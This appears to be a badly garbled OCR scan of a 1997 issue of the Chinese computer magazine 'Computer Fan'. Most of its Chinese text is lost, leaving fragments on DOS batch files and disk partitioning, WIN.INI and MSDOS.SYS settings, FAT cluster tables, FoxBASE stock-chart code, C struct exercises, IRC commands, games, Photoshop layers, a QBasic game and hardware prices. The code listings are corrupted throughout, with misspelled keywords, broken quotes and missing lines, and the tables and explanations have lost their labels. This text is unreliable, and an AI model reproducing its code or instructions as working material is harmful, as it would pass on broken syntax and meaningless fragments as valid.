echo @copy % %2\ > . nul > > c:\director.bat
echo cd c:\ > > c:\director.bat

dir %1:\/S/W | FIND "Directory” > c: \list
echo exit > > c:\list

command < c: \list

del c:\director.bat

del c:\list
cd\
DOS COPY CON goto end
error
DOS NUL echo syntax: %0 [drive]

COPY * .% NUL zend

@echo on
SONY
COPY *.% NUL
vCD @
C

Y RSEAUEE S AN
) B PRE A HE B

VE BM
2.
c 0 I
0
FDISK DOS
DOS 0 FORAMT C /S
> 3. 0

DM 4.00 0
A DM /M
(I)nitialization menu, (P)artitioning menu,
(s)elect Drive, (C)onfiguration menu, (R)eturn to DOS
Select an option (R):

P
(A)llocate, (D)elete, (S)elect boot (C)hange type,any par-
tition (N )ew partition table, (R )eturn to preparation menu
Select (R) :

D N
0 1 DOS ©
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X

S — '

E3E3 E3Ed E3E3 B3

VGA VCD
2.0 vVCD
VCD
VCD
VCD
486
586
1. Cache 486
( ) Cache CMOS dis-
able CMOS Video BIOS cacheable,
disable Cache
SMARTDRV /U
Cache VCD CPU
CPU Cache DRAM
DRAM
Cache
2. MSCDEX .EXE
VCD
MSCDEX .EXE 2.21
MSCDEX VCD
MSCDEX
MS-D0OS6.20 MSCDEX 2.22
MS-DOS  6.21 2.23 WIN95
2.25 MSCDEX
CONFIG.SYS
SETVER .EXE
3. MSCDEX
/M :nn
vVCD
.40.

ATREEZR

BEVCD

L]
20
40
500K B
4. CONFIG.SYS
shell =c:\dos\command.com c¢:\/p /e:2048/msg
/msg
Windows VCD Windows
35M B
VCD Windows
5.
AT IDE AT
DMAS 6 7 16
DMAOT1 3 8
VCD IDE
IDE
Windows 3.x
Win95 VCD
Windows3.x
Win95
6.
CPU 40MHz ~ 80M Hz
386DX  486DX
486DX 4/ 100
3 2 CPU
66M Hz 1/3
7.
VCD

W E A 1997 4.



Windows

Windows
WIN .INI
SYSTEM .INI DOS Con-
fig .SYS Windows
Window s ( WIN .INI)
(sysedit .exe)
Windows
AUTOEX-
EC.BAT CONFIG.SYS WIN .INI SYSTEM .INI
(
SYD )
sysedit « P "
M " u » sy sedit
WIN .INI
WIN .INI
WIN .INI
Windows3.1 “ "
WIN .INI [Windows |
“run=" “ load="
“run=" " load ="
“ un ="
“ oad ="
AR A At A atlallatlallaltat fallal fallat Yaltat Yal tatfattalfat At atlat tat fal Yat Yal Yal vl
IC
IC
+ 12V (
B 9 ) 10 ~ 200
8.
VCD

Computer Fan 1997 4.

WIN.INI

run/load = [ 11 11 ]
WIN .INI  Desktop
“ Icontitle size Face Name =" [ ]
)
‘ Icontitle size =" 0
1" Windows
Windows
WIN .INI [Desktop ]
wallpaper originX =" “ wallpaper originY ="
0 Windows
(0 0)

* wallpaper originX ="

“

wallpaper originY ="

©

AN AN A A A A A A AN
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(MG )

L]
DOS MG WINDOWS
IMG( IMGDRIVE) (1) (5) WINDOWS
( IMG A ) IN- A A
STALL SETUP ‘ (INSTALL SETUP)
2 " IMG ESC FOXPRO2.5
IMG FOR WINDOWS !
DOSKEY (2)
T
(1)C \>MD TMP “ ”
(2) IMG FOR
A \  WINDOWS WINDOWS
TMP MS-DOS
C \ XCOPY A \.\TMP /S/E
(3) (2)
\TMP (1)
(4) CTRL +ENTER IMG \TMP (2) XCOPY COPY
INSTALL SETUP
(3) SUBST
IMG IMG A
A B SUBST
(4) IMG (5) (6) (4)
(5) SUBST \TMP A
C \ SUBST A \TMP (5) C \ DELTREE\
(6)C \ A A A TMP ©
RV IGD R Bk
] Xing
I Xing
BMP
“ Print Screen”
“ Print Screen” Xing Windows
HP DJ200

< s (3 A4 5 S A3 )
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540M 586
850M 1.2G 1.7G
5.1G DOS3.3
32M 32M
DOS5.0
16Bit  FAT 2G
DOS (Cluster)
512Byte
4
64 1
CHKDSK
(allocation unit)
2K dir
1
(M) (Byte)
16 ~ 127 4 2048
128 ~ 255 8 4096
256 ~ 511 16 8192
512 ~1023 32 16384
1024 ~ 2048 64 32768
1
1 DOS 139
11 314 236

Computer Fan 1997 4.

5 716 951
2
2
(Byte) (Byte) (Byte) (Byte)
2048 5859188 142237 1K
4096 6021120 304169 2.2K
8192 6307840 590889 4.2K
16384 6995968 1279017 9.2K
32768 8454144 2737193 19.7K
2 850M 9000
CHKDSK
670M dir/A/S
552M 118M
13K
1.2G
180M
?
?
1 2 127M 2K
Win-
dows95 100M
127M
127M
127M
( D0S6.22 UC-
DOS5.0 Windows3.x )
16K 50%
70% 8K
4K 8K
3
3
(M) M) ¢ D E
630 120 250 500 127
850 230 250 510 240
1000 223 400 510 440
2~3
C
D E
©
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* Starting

MSDOS.SYS

1995 (Microsoft)

32

Windows 95
Windows 95 0S/ 2

Windows NT
DOS DOS
7 DOS

200K B
MSDOS.SYS ]
10.SYS

10 .SYS

Windows 95..." F8

F8

7.BootMenuDelay = n

SYS-
TEM .INI
MSDOS.SYS ASCII
“ ey
Windows 95
(11
)
1.BootGUI = 1[0] Windows 95
(Graphics User Interface)

“ T
2.BootDelay =n ‘ Starting
Windows 95..." n
2
3.BootWarn = 1[0]
|- ”
4.BootMulti=0[1]
DOS Windows 95 CD-ROM
DOS
DOS
“r “ Starting Windows
95...7 F4 F8 “ Previous Version of
MS-DOS” Windows 95
DOS 0
DOS
5.BootWin = 1[0] Win-
dows “o BootMulti =1
DOS “ Starting
Windows 95..." F4
(Graphics User Interface) 1

6.BootMenu =0[1]

.44.

Windows 95
BootMenu =1 n
30 30
8.BootM enuDefault =n
Windows 95
n 8
8 7
1 Normal
9.LoadTop = 1[0] Windows 95  DOS
7 COMMAND.COM
UMB 1 UMB
10.Network = 1[0] Windows 95
Windows 95
0 Windows 95
1
11.DoubleBuffer = 0[1] Windows
95
IDE
0
12.DrvSpace = 0[1]  DblSpace = 0[1]
Windows 95
Windows 95 DOS6.2
DblSpace  D0S6.22  DrvSpace Win-
dows 95 1
DrvS-
pace.bin  DblSpace.bin 0
13.Logo = 1[0] Windows 95
“ Starting Windows 95..."
Window s
‘* Microsoft Windows 95%”
0 1
e
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FOXBASE

FOXBASE

FOXBASE
486DX VGA 640480
UCDOS3.1

—~ FALFACH

1.prg

clear

set color to rb/b +
@12,10 say" "
x=0

do while x <40
@0,40 — x clear to 24,40 + x
x=x+0.2

enddo

return

2.prg

lear

set color to rh/b +
@13,15 say" "
x=0

do while x <40

@0,0 clear to 24,x
@0,79 — x clear to 24,79
x=x+0.2

enddo

return

1.prg

Computer Fan 1997 4.

set color to w/b

]

@0,0 clear
clear all

return

—

(/2

set talk off
set echo off
set status off

set color to w + /rb

X=0
DO WHILE x <31
x=x+ 1

@17, 11 say space(x - 1
@19.34 say space(31 - x
space (x)

enddo

x=0

DO WHILE x <25
x=x+1

@17,11 say space(x -1)
@19, 38 say space (25—
space(x)

enddo

x=0

DO WHILE x <19
x=x+1

@17,11 say space(x - 1)
@19, 42 say space(19 -
space (x)

enddo

wait chr(7)

&
)

+

K
)

+

+

+

“

”

Z RN R 2R E
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BEECHN ST

N A AN AN AN AN AAATAATAAS
ENACAN ACAAVA AV AVAACAAVA AT A,

W
8 MAI10 5 1 & &
9 K5 4 1 & & 5 K
10 D5 4 1 &&5 D
11 Js 4 1 &&s5 )
FOXBASE
C K
[ ” l.K
K
FOXBASE UucCDOS 3.1 K

UCDOS 3.1 FOXBASE [ __J

: FOXBASE + 2.1

UCDOS 3.1
: AST 3/33
2.
A UCDOS
@0,0 say chr(14) + *[con ]’
@0,0 say chr(14) + ’[dx,y]’
@0,0 say chr(14) + "[Ix1,y1,x2,y2]"
@0,0 say chr(14) + *[bx1,y1,x2,y2]"
@0,0 say chr(14) + *[rx1,y1,x2,y2]’
B K
STOCK .DBF
K
1 DATE 4 & & (MMDD)
2 BEG 5 1 & &
3 TOP 5 1 & &
4  BOT 5 1 & & 1
5 END 5 1 & & 620 450
6 TOTA 5 1 & &
7 MAS5 5 1 & &
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3.

SET STAT OFF
SET SCOR OFF

SET TALK OFF

USE STOCK

SET COLO TO /3

@0,0 CLEA TO 23,80

@0,0SAY CHR(14) +°[CO1]" & &

@0,0 SAY CHR(14) + *[L1,0,1,400]"

@0,0 SAY CHR (14) + *[L1,400,640,400]"

M =0

K=0

KHM =900 & & 900

DO WHIL.T. & &

Y =300-M

J=KHM -Y

IFY<=0

EXIT

ELSE

ENDI

@0,0SAY CHR(14) +°[{’ + @15 +°," +°15-21 > +
STR(Y =5) +° *+LTRIM (STR(J)) + *(0)3}]°

@0,0 SAY CHR(14) +°[C04]”

@0, 0SAY CHR(14) +° [L40,” +STR(Y) +’, 638, +
STR(Y) +°]”

@0,0SAY CHR(14) +°[D5" +°,” +STR(Y) +°]”

@0,0SAY CHR(14) +°[D3” +°,” +STR(Y) + ' ]”

M =M +30

ENDD
@0,0SAY CHR(14) +’ [{@15,15-40110=0
K (4)3)1°
DO WHIL.T. & & K

@0,0 SAY CHR(14) + *[CO0]"

IF EOF () .OR.K > =600

EXIT

ELSE

ENDI

X1=K +40

Y1=KHM -BEG

X2=X1+10

Y2=KHM -END

IF BEG >END && K

@0,0 SAY CHR(14) + "[B> +STR(X1) +°,” +STR(Y1)
+°,7+STR(X2) +’,” +STR(Y2) +°]"

ELSE

@0,0SAY CHR (14) +’[cO15]"

@0,0SAY CHR(14) + *[B* +STR(X1) +*,” +STR(Y1)
+7,7+STR(X2) + 7, +STR(Y2) + 1"

ENDI

IF TOP >BEG.AND.TOP >END & &

@0,0SAY CHR(14) +’ [L” +STR(X1+5) +°,” +STR
(KHM -MAX (BEG ,END)) +°,” +STR(X1+5)

+7,” +STR(KHM -TOP) +°]°

ELSE

ENDI

IF BOT <BEG.AND.BOT <END

@0,0 SAY CHR(14) + " [L* +STR(X1+5) +°,” +STR
(KHM -BOT) +°,” +STR(X1+5) +°,” + STR

(KHM -MIN (BEG,END)) +°1°

ELSE

ENDI

@0,0SAY CHR(14) + °[L° +STR(X1+5) +’,” + 399"
+7,7 +STR(X1+5)+7,” +STR(400-TOTA) +°1°

& &
IF X1>50 & &
@0, 0SAY CHR(14) +° [{@15" +°,” +°10-" +STR

Computer Fan 1997 4.

(X1-5)+71403"+° * +SUBSTR(DATE,3,2

)+ (0)3} ]
ELSE

@0, 0SAY CHR(14) +’ [{@15 +7,” +°10-"
(X1-14) +° 1403° +° " +DATE +°(0)3}]°

ENDI
K=K +15
SKIP
ENDD
RETU

2.

A MAS = /5
MA10= /10

B

SET TALK OFF
USE STOCK
¥k % ok sk ok ok ok kA M A Sk Sk Sk ok ok ok ok sk ok %
N=0
DO WHIL.T.
N=N+5
IF N > 10
EXIT
ENDI
GO N
MAA ="MA’ +LTRIM (STR(N))
DO WHIL.T.
DO WHIL.T.
1IF &§MAA < >0
EXIT
ENDI
M=0
MAV =0
DO WHIL.T.
MAV =MAV +END
M=M+1
IFM> =N
EXIT
ELSE
ENDI
SKIP - 1
ENDD
MAV1=MAV/N
SKIP N - 1
REPL & MAA WITH MAV 1
IF EOF ()
EXIT
ENDI
SKIP
ENDD
IF EOF ()
EXIT
ENDI
SKIP
ENDD
ENDD

3.

UucCboOS
K

+STR
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X

K

RENUM =1
DB =’STOCK”
KHM =900
M =0
USE &DB
@0,0 SAY CHR (14) + ’[CO10]"
DO WHIL.T .
M=M+5
IF M =10
@0,0 SAY CHR(14) +’[CcO1]”
ENDI
IF M > 10
EXIT
ENDI
MX1=40+5
MYP="MA’+LTRIM (STR(M))
MY1l=&MYP
N=0
MXA =30
GO RENUM
DO WHIL.T .
IF &MYP =0
MXA =MX1+N
ELSE
MX1=MXA +15
MY1l=&MYP
EXIT
ENDI
SKIP
N=N+15
ENDD
K =15
MX2=0
DO WHIL.T.
SKIP
IF MX2> =630.0R.EOF()
EXIT
ENDI
MX2=MXA +15+K
MY2=&MYP
@0,0 SAY
CHR(14) +° [L° +STR(MX1) +°,°

2)+°]°
MX1=MX2
MYI=MY2
K=K +15

ENDD

ENDD

KDJ
1.KDJ

0~ 100
KD

A RSV = -

K=2/3x K +1/3x RSV

.48.

+STR(KHM -
MY1)+°,”+STR(MX2) +°,” +STR(KHM -MY

x 100

D=2/3x% D +1/73x K
J=3x K -2x D

KD 50
B
SET TALK OFF
USE STOCK

Fodkdk S ok e ok KD R b ok ok ok S sk b ke ok
GO 5
DIME XX (5),YY(5)
DO WHIL.T.
DO WHIL.T.
IF K5< >0.AND.J5< >0
EXIT
ELSE
ENDI
M=1
SKIP -4
DO WHIL.T.
XX(M)=TOP
YY (M) =BOT
IFM>=5
EXIT
ENDI
M=M+1
SKIP
ENDD
MINI1=MIN(YY (1),YY(2))
MINI2=MIN(YY (3),YY (4))
MINI3=MIN (MINI1,MINI2)
MINI4=MIN (MINI3,YY (5))
MAXAT=MAX(XX(1),XX(2))
MAXA2=MAX (XX (3),XX(4))
MAXA3=MAX(MAXA2,MAXA1)
MAXA4=MAX (MAXA3,XX(5))

KDV = (END -MINI4)/(MAXA4-MINI4) * 100

SKIP - 1
IF K5=0.AND.D5=0
KK =50
DD =50
ELSE
KK =K5
DD =D5
ENDI
SKIP
KV =2/3%KK +1/3%KDV
DV =2/3%DD + 1/3%KV
JV =3%KV -2%DV
REPL K5 WITH KV
REPL D5 WITH DV
REPL J5 WITH JV
IF EOF ()
EXIT
ENDI
SKIP
ENDD
IF EOF ()
EXIT
ENDI
SKIP
ENDD

RSI BIAS MACD OBV

KD

(#%)
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i

— R 3N B A

FoxBASE FOR
< >

1995
( D )
A.COUNT FOR YEAR(
B.COUNT FOR

)<95TO NS
<CTODf 01/01/95") TO

C.COUNT FOR DTOC( ) < 01/01/95" TO

NS
D.COUNT FOR SUBSTR(DTOC ( ) 7 2)
<95TO NS
A. YEAR( )

YEAR(CTOD{ 02/10/94"))
1994 YEAR( ) <1995

B. CTOD()
“ 01/01/95
C. DTOC( )

“ 01/01/95"

D. CTOD( )
SUBSTR( ) SUBSTR( )

95
SUBSTR(DTOC ( ) 72)¢ 95"

= TSR P

FOR < > < >

.52,

10

)
<10.AND. =.F.
<10.AND..NOT . (

A.DELETE ALL FOR

B.DELETE ALL FOR
=.T.)

C.DELETE FOR

D.DELETET FOR 10>

<10.0R..NOT.
.AND..NOT.

“ NOT. _— - F « _»

B. “ =.T.”

C. .OR.

D. F
“ .NOT. ?

= A 0

) “ ”ou ”

A .SORT ON /D /D TO SONEW FOR

£ "R, =
B.SORT ON /A /A TO SONEW FOR
= " AND®
C.SORT ON TO SONEW FOR
£ "R, 2
D.INDEX ON TO IDXNEW FOR
R
A.
@ /D"
“ (ban) " “ (fu) " b
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K

struct card ¢l = {5 s’ },c2;

c2=cl;
e FIX 5 )8 o
cl c2
cl c2
L]
3.
cl c
struct card ¢l =1{5" s}
cl 5
ZEMTEEA
struct card ¢[6] = {{1° ¢ },{2% ¢ },{3% ¢},
(4, ¢ 1,15, ¢ 1,16, 1) ¢
c
c 1 6
4.
<f “ /AT ( ) ( ) ( )
" (/A ) ( ) ()
@ /D" A .DISPLAY FOR * >
“02/04/96" “ 12/04/96" 100
“960204" “ 961204" B.COPY TO SP_COPY
C.SUB FIELDS TO SUMA SUMB
« JAT S " D.INDEX ON TO SP_IDX
B TOTAL ON TO SP_TOTAL FIELDS
FOR =" " .OR =
B ) A LIST DISPLAY
“ FIELDS”
AND B Y
B FIELDS
.OR..
C SUM SUM [ <
C ( A B )
b > ]
) “ FIELDS” SUB
@O INDEX FOR <
TO SUMA SUMB
>
D TOTAL TOTAL
@ INDEX ON <
[FIELDS < > ]
> “ ”
A E s X
FoxBASE FIELDS
< > < >
( ) ©
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W A2 A
1
struct ab {
int a;
int b[3];
1
main ()
{ static struct ab x[2] = {{10, {1,2,3}}, {20, {4,5,6}}},
7’\’p;
p=x;
printf ("%d\n", + +p - >b[0]);
printf ("%d\n”, + + (+ +p) = >b[1]);
printf ("%d\n", p— >hl2]+ +);
prinlf( "%d\n", (*p).b[2]);
}
ab main ()
ab X 2
ab
p p X p
printf ()
P p- >b[0]
X 0 2 b 0
1 ++p->bl0] 2
b[0] 2 (+ +p) - >bl1]
p 1 X 1
b 1
5 ++(++p)->bl1] 6
p x[1] x[1].b[1]
6 b >bl2] <[11.b[2]
p x[ 1] 6 p-> bl2]
o+ 6 x[1].b[2] 7

C

.54.

(*p).b[2]  p->bl2] x[11.b
[2] 7
2
6
6
7
P
o+
p->bl[2]
(*p) .bl2]
- > - >
2
struct s1 {
char c[4];
char *s;
} s1={"abc”,"def"} ;
struct s2 {
char *pc;
struct sl ssl;
}s2= {"ghi", {"jkl",”mno"}};
main ()
{
printf ("%c\t%c\n",s1.c[0], *sl.s);
printi('%s\t%s\n" s2.pc, s2.ssl.s);
printf ("%s\t", + +s2.pc);
prinlf( "%s\n", + +s2.ss1.s);
}
sl s2
sl s2
sl s2
main () printf ()
sl s2
a d
ghi  mno
hi no
s2.pc s2
pc ghi + +
s2.pc ghi h
hi
s2
sl ssl
(F4)
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Internet
Internet
Internet n ern e
In-
Internet ternet
Internet
Internet In-
ternet
WWwWWwW Internet Internet
Internet FTP Telnet Internet
NNPT WAIS Gopher
Internet
Internet
Internet
Internet Internet
Internet NII( )
40%
Dig- Internet
ital Internet Internet
Internet
Internet NASA ( Internet
) Internet Internet
NASA Internet
1995 4 Internet
1995 Internet 5 1996
In- 50 Internet
ternet “ " 1000
30% Internet
“ 775
" A —
S
STAQ
Internet ISP
Internet 1680
98
100 / 1000 /
!
64601323 - 25 62535410 62535431 64601332
http://www .homeway .co.cn
Internet E - mail :double @hom eway .o .cn @
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Internet

WWW (World Wide Web)

LAVA

—IRC
WWwWwW

IRC (Internet Realy Chat)
1988

WWWwW
IRC
1. IRC WWWwW
WWW
2. IRC
“ Channel” IRC
IRC Channel
IRC
Channel
Channel Channel
IRC
Channel
3. IRC
“ /whois”
.56.

WWWwW

Jarkko Oilarinen

60
mIRC
IRC

mlIRC

/help
/list
/join
/part
/quit
/aw ay
/whois
/invite
channel
/kick
/topic
/me
/msg
/query

IRC

1P

Channel
IRC
IRC
—mIRC
mlIRC Khaled Mardem-Bay
Windows IRC
FTP
mIRC
mlIRC http://
www .mirc.co.uk
mlIRC
IRC
IRC
channel
channel
channel
IRC
channel
channel
channel
channel
channel

IRC  chinese channel
©
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Internet EBF N2 ES
= i 0] £ = Y8 {1 35 TN

[
Web
Web
MTV
“ o Streaming "
Streaming
+ H
Streaming
Plug —in Helper
Web
RealAudio
.wav .au
RealAudio
M A
Streaming Streaming
VDOLive StreamWorks VivoActive

Disney CNN  ABC

.avi .mov .mpg

Plug —in
Internet Explorer 3.0 ActiveMovie
MPEG ActiveMovie
Windows 95
Streaming

Computer Fan 1997 4.

Java
ActiveX Web
Navigator 3.0 1E 3.0 VRML
Shockwave
plug —in Web
Streaming
&K
486
Pentium  Pentium
Pro
28.8Kbps
28.8Kbps
14.4Kbps
AREE
Intel MMX Pentium
2M B
200K B
Modem
Progressive Networks  Netscape
Internet
plug — in ActiveX
#x)

KHME Internet BRAER R

9 30 Internet

X

1 30 Internet
130 Homepege
930 Homepege
130 Internet
130 Internet
130 BBS

78
62552584 62627809 62552583
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<

Internet M3k % 2 & 9t

http:// www — cibtc.ceic.
go. cn/CHINABOOKS.HTML

S

http://web.xplain.com /tennis -

warehouse.com

“ ”ou ”ou

extender”
* Yonex Super”“ Head”“ Dunlop”“ Wilson”
50 gut (

96 — 97prine Touring Pro
prince, Nike adidas, Thorlo

Ak A
1. Auto Web
http://www .autoweb.com
97 ?
42 500

2.
http://www .Xmission.com/ ~ msgsl/
nmchm /
Johnny Zupan, Cusheuberry
3.

http://www.honda.com
Accord, dosol, Odyssey,
Preluele, CR =V, Passport, Civic, Evplus
97

Bk £

http://www .wp.com/scinc/online html #a
fine — art

Striking

.58.

http://www .match.com

“ ”

E —mail
it H £
BBS
http://www .split.com
BBS
BBS BBS
X AHE &

1.
http://www .hipark .austin .isd.
tenet .edu/pub/cns95/wogame2/game2.html
Will’s Wonderful Game Magazine
50
MacSki 1.5 Darkwood2.0 Bricklest3.0 BlackJack
T utor
2. All about games

http://www .nexi.com/aag

B Wl E R

—COMPAQ
Windows NT Novell INTERNET

m &

“ n

WINDOWS NT3.51 NET-
WARE3.12 NETWARE4.1 UNIX

INTERNET

100084
010 62784710 62783595
010 62785841 BP 62047788 - 26727
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IN-
STALL.EXE
0K
COPY
!
diry/ — 300
( )
? dir *
.baty/
PLAY .BAT !
.EXE coM “ "
!
C>
Why?
PC
PLAY IT * ? 2M
4M DOOM Il
v
DOS CON-
FIG.SYS
EMS XMS
CONFIG.SYS

DEVICE =C:\DOS\HIMEM .SYS
DEVICE =C:\DOS\EMM 386.EXE RAM

(C:\DOS DOS

) 1994 1995

( )
EM M 386 RAM
aM oM
RAM

NOEMS QEMM

EM M 386

F5
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B S R

[]
8M 486
FIFA96 HIMEM .SYS
( SMART-
DRV .EXE)
1000
10000
GAME OVER
GB4
(GB4 Ctrl )
?
?
PATH APPEND
D: \INDARK 2(
) C \ SAVE

PATH =D:\INDARK?2, C:\ DOS\ APPEND =D:\
INPARK?2

) INSTALL
IMG

HD -

corPYy DUP

IMGDRIVE
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U]
1996
1995
RPG
“ " 1996
II
1996
Il
8bit
1996 SLG
II
1996 “ K
WIN 95
MicroProse 1996 2000

.60.

1996

3

1996

wood

Red Alert

BlizzARD

Craft 1997

Duke 3D

1996

WWF

EA

RPG

1996 11

RA
1996
Il

Games Master

Europe 96

16

EA Sports

NBA 96 FIFA 96

A
Virgin
10

3D

1996

96

1997

W, KT

pC

RPG

I,

1996

1997 4.



PHOTOSHOP :

0

New Layer
Home: [ |
sy [0 ] e

[ Group With Previous Laper

[ (Mo neutral solor exists bar Morisal mode. )

PHOTOSHOP

K2

* Al New  Layers

*

: float-
ing  selection M ake

*
Layer

—~#z2-NHEGEE
PHOTOSHOP \ tutorial flower
hand leaf sun portrait
Layers a
WINDOWS palettes— ower
layers 1

New layers

Name

Opacity Mode

Layersl Lay-
ers2 hand
Opacity
Lt et e e flower hand leaf
B leaf  flower
hand portrait sun
hand
New  Layers New sun portrait

Layers
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photoshop\ tutorial leaf
hand
leaf 1
leaf  hand 2
3 leaf 0
4 0 1
Alt
hand
Background
Background
MARK LAYER Back-
ground Layer0O
OK
@ |t~
DELETREE LAYER
2. e HEE
1
2
PHO-
TOSHOP
merge layers
flatten image
A EAFHGHRAR

(545)
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=

(

R E AR o

O

)

MS -DOS(V5.0) Nibbles.bas

80 x 25
50

RPG

REM
DECLARE SUB lines (i%, ¢%)
SCREEN 12: CLS : q% = 161

ASC
80 x

FOR i% = 0TO 192:CALL lines(i%, 8) :NEXT

DO
a$ = INKEY $
SELECT CASE a $
CASE CHR $ (0) + CHR $ (77)
IF (q% MOD 16) < > 15 THEN
p% = q%: q% = q% + 1
END IF
CASE CHR $ (0) + CHR $ (75)
IF INT (q% MOD 16) < > 0 THEN
p% = q%:q% = q% - 1
END IF
CASE CHR $ (0) + CHR $ (72)
IF q% > = 16 THEN
p% = q%: q% = q% - 16
END IF
CASE CHR $ (0) + CHR $ (80)
IF q% < 176 THEN
p% = q%: q% = q% + 16
END IF
END SELECT

Computer Fan 1997 4.

CALL lines(p%, 8)
CALL lines(q% , 14)
LOOP UNTIL a$ = "q"
END
SUB lines (i%, ¢%)
(i% MOD 16) * 40: y% = INT (i% / 16) *

LINE (x%, y%) - (x% + 39, y% + 39), c%. B
END SUB

16 x 12 192
REM
DECLARE SUB lines (i%, ¢%)
DIM m % (0 TO 40)
SCREEN 12: CLS
new0% = 145: old0% = new0% - 1: newl% =

new0%: old1% = o0ld0%
LINE (0, 0) - (639, 479), 6, BF
FOR i% = 0TO 15: CALL lines(i%, 8): NEXT
FORi% = 0TO 39: m%(i%) = INT (RND * 176)
+ 16
CALL lines(m%(i%), 2): NEXT
m% (40) = 94: CALL lines(m % (40), 5)
n% = 8: CALL lines(n%, 0)
CALL lines(0ld0% ., 6): CALL lines(new0%, 14)
DO
a$ = INKEY $
SELECT CASE a'$
CASE CHR $ (0) + CHR $ (77)
IF (new0% MOD 16) < > 15 THEN
newl% = new0%: old1% = old0%
old0% = new0%: new0% = new0% + 1
END IF
CASE CHR $ (0) + CHR $ (75)
IF INT (new0% MOD 16) < > 0 THEN

new 1% = new0%: old1% = 0ld0%
0ld0% = new0%: new0% = new0% - 1
END IF
CASE CHR $ (0) + CHR $ (72)
IF new0% > = 32 THEN

new 1% = new0%: old1% = 0ld0%

0ld0% = new0%: new0% = new0% - 16
END IF
CASE CHR $ (0) + CHR $ (80)
IF new0% < 176 THEN
new 1% = new0%: old1% = 0ld0%
0ld0% = new0%: new0% = new0% + 16
END IF

CASE CHR $ (32)
GOSUB talk
END SELECT
GOSUB walk
LOOP UNTIL a = 3
END

walk :
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b

Diablo X - Wing vs. TIE
Blizzard Fighter
— RPG Dia- X -
blo Wing TIE Fighter
Diablo
g Heroes Of Might and Magic 11
-4
'J'n
N <4 1
RPG N}
(]
i
30 o
Diablo
Bliz- Uy
zard Internet é
Diablo
Diablo
X - Wing vs. TIE Fighter19
©
FOR i% = 0TO 40 END SELECT
IF new0% = m% (i%) THEN RETURN

new0% = new1%: 0ld0% = old1%
END IF
NEXT 40
IF new0% < > new 1% THEN
CALL lines(new0%, 14): CALL lines(0ld0%, 6)
END IF
RETURN :
talk :
SELECT CASE new 0%
CASE 24
IFa =2THEN a = a + 1: CALL lines(8, 6)
CASE 78, 93, 95, 110
IF a = OTHEN a = 1: CALL lines(94, 4)
CASE 129, 144, 146
IFa=1THEN a = a + 1: CALL lines(145, 7)

.64.

SUB lines (1%, ¢%)

x% = (i% MOD 16) * 40: y% = INT (i% / 16) *

LINE (x%, y%) - (x% + 39, y% + 39), ¢c%, BF
END SUB
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Intel T

EIDE

DIMM

430HX

BIOS

CACHE
CACHE

20% (
SAMSUNG

)
EDO

Computer Fan

RITONII

430HX
PNP
P10 -4
430VX
ECC

430VX

PIO -5
168
(ECC
)

ECC

BIOS

CACHE

512K

EDO

TI
EDO(

— 60ns

1997 4.

FLASH ROM BIOS
BIOS

BIOS
256K B

20%

— 70ns

2D & 3D
52
(
CPU P100
S3868 S3 VIO64 +
ATI 64 P133
P150 S3 @
VIREG P166
S3 968
CPU) g
( 6000 / H
sec 10ms
)
Seagate  Quantum
WD ( WD
)
MAXTOR 1GB
CREATIVE AZTECH
VCD P 100
(#4)



U]
(1997.3)

CPU TIntel 120( ) 83 Intel 133( ) 1150
MS -5128 HX 980 2000HX 980
SMEDO ( ) 280 8M 250

1.2GB 1350  Seagete 1.7GB 1580
Tr 9680 210 Tr 9685 380
600 580
( )
\ 1 2 3
UuchoSs Richwin WIN95
V - Foxpro V-C++ Turbo CAD
CCED
MIS MS MIS
KV300
CD/
/
Intel Intel
CPU Intel
P120 830 P133
1150 P166 1600
AMD  Cyrix CPU
AMD -K5-133 680

Cyrix CPU Intel

Intel Pentium Pro MMX

CPU AMD  Cyrix

Intel Petium
CPU
“ " MS - 5128HX
ATC -2000

.66.

8M B EDO 210
200
230 280
1 3
1 « .
1.2GB

Seagate Quantum

Seagate 1.7GB

Pentium
Tr - 9680
MMX CPU
Tr -
9680 GL - 5446 PCI
4
8
200
CD - Quick Smart CD
6 8
Xing
Alsound M edia MPEG
CD vVCD Game 4
©
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(]
= I tat=
Higlmi-8
AO CAD
CCD
800dpi ANATech Zagle
3840
A0
18 24 20 0.05%
Primax P800C 2400bpi 24
1200
500 Vidar
400dpi Primax TrueScan
M ustek
1996 150
90%
A4 A3
A4 TMA
SprintScan45
2000 > 4000d pi TMA
600dpi
30 36
2% 680 1996
PageScan 256
400dpi A4 72
Artek Mustek Genius
Sheet Feeder HP Agfa MicroTek
SOHO UniScan
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010 -62176018

CIS 1 150 580
( 1.
2.
3.
24 30 36 4
5.
6.
7 4
2 64 518
(
3 |wps 12.80 127 SPDOS
WPS
1997 10% 48

(100081)
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Intel Pentium PRO
CPU 1 Pentium 16
Pentium 16
Pentium PRO
? Pentium PRO Intel 32
Pentium PRO
Pentium 32 16 Pentium
1.Pentium 0.6 CMOS PRO 32
16 16 32
320 32 °
« [Pentium PRO =
200M Hz @’ R DOS Win-
2. 3 w % (ﬁ dows 3.x Windows 95
8K 8K L1 @ 16 16 32
» f_ » Windows
3 L& (0 Z @_ 3.x Windows 95
y ¢
Pentium
PRO Pentium
Windows NT 32
4. Pentium PRO
5. 80
75M Hz Pentium CPU Intel P55C Pentium
3.3 2.9 MMX
Pentium Pentium PRO 57
1.Pentium PRO 0.25
650 64 Intel 225 M Hz Pentium PRO
MMX 75M Hz
2.Pentium PRO Pentium Pentium PRO
L1 256K B
512KB L2 L2 P55C  Pentium CPU
3. 3 14
(Superpipelined ) Pentium 1 Pen-
tium Pentium PRO
4 .Pentium PRO (dynamic 1.5
execution ) Pentium
Pentium PRO Pentium
5.Pentium PRO Pentium Pentium PRO 1
Pentium
6. 3.3 1997 1998 ©
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“

DOS

[ & i 38 B3 AR R

Wi & Ao R R, RAF R

HRAERE A FHZ P, ADOS.Win3.x. LELS K
# Win95. BAVA T £ % eh:kdF, BRWATHELEEA
Wk AA T EMAAGIE, B Faiks LR

5.
A Windows DOS
DOS 43% Mac 36% Windows
18% DOS
DOS
Windows
DOS Windows
VCD for Windows
Windows
DOS Win-
dows pif for Windows
for Windows"
DOS  Windows
UCDOS UCWIN
Win95 DOS  Windows
Win95
Win95 5
FORMAT
DOS
DOS + Win3.x
for Windows DOS
(w@nl 427T)
B DOS Windows
DOS Win3.x Win95
386 486 Pentium

Computer Fan 1997 4.

Windows3. x
5 Windows95

Win3.x Win95
DOS
for Windows
Win95
Win95 16
32
DOS
Win95 “ "
Win3.x
DOS
Win3.x DOS (Shell)
Win95 DOS
Shell
Win3.x OLE
Win95
Win95
DOS Win3.x
CPU
Win95
DOS Win95
DOS
71,

“ n

intel

Windows



2

Win3.x
DOS Win3.x
WPS
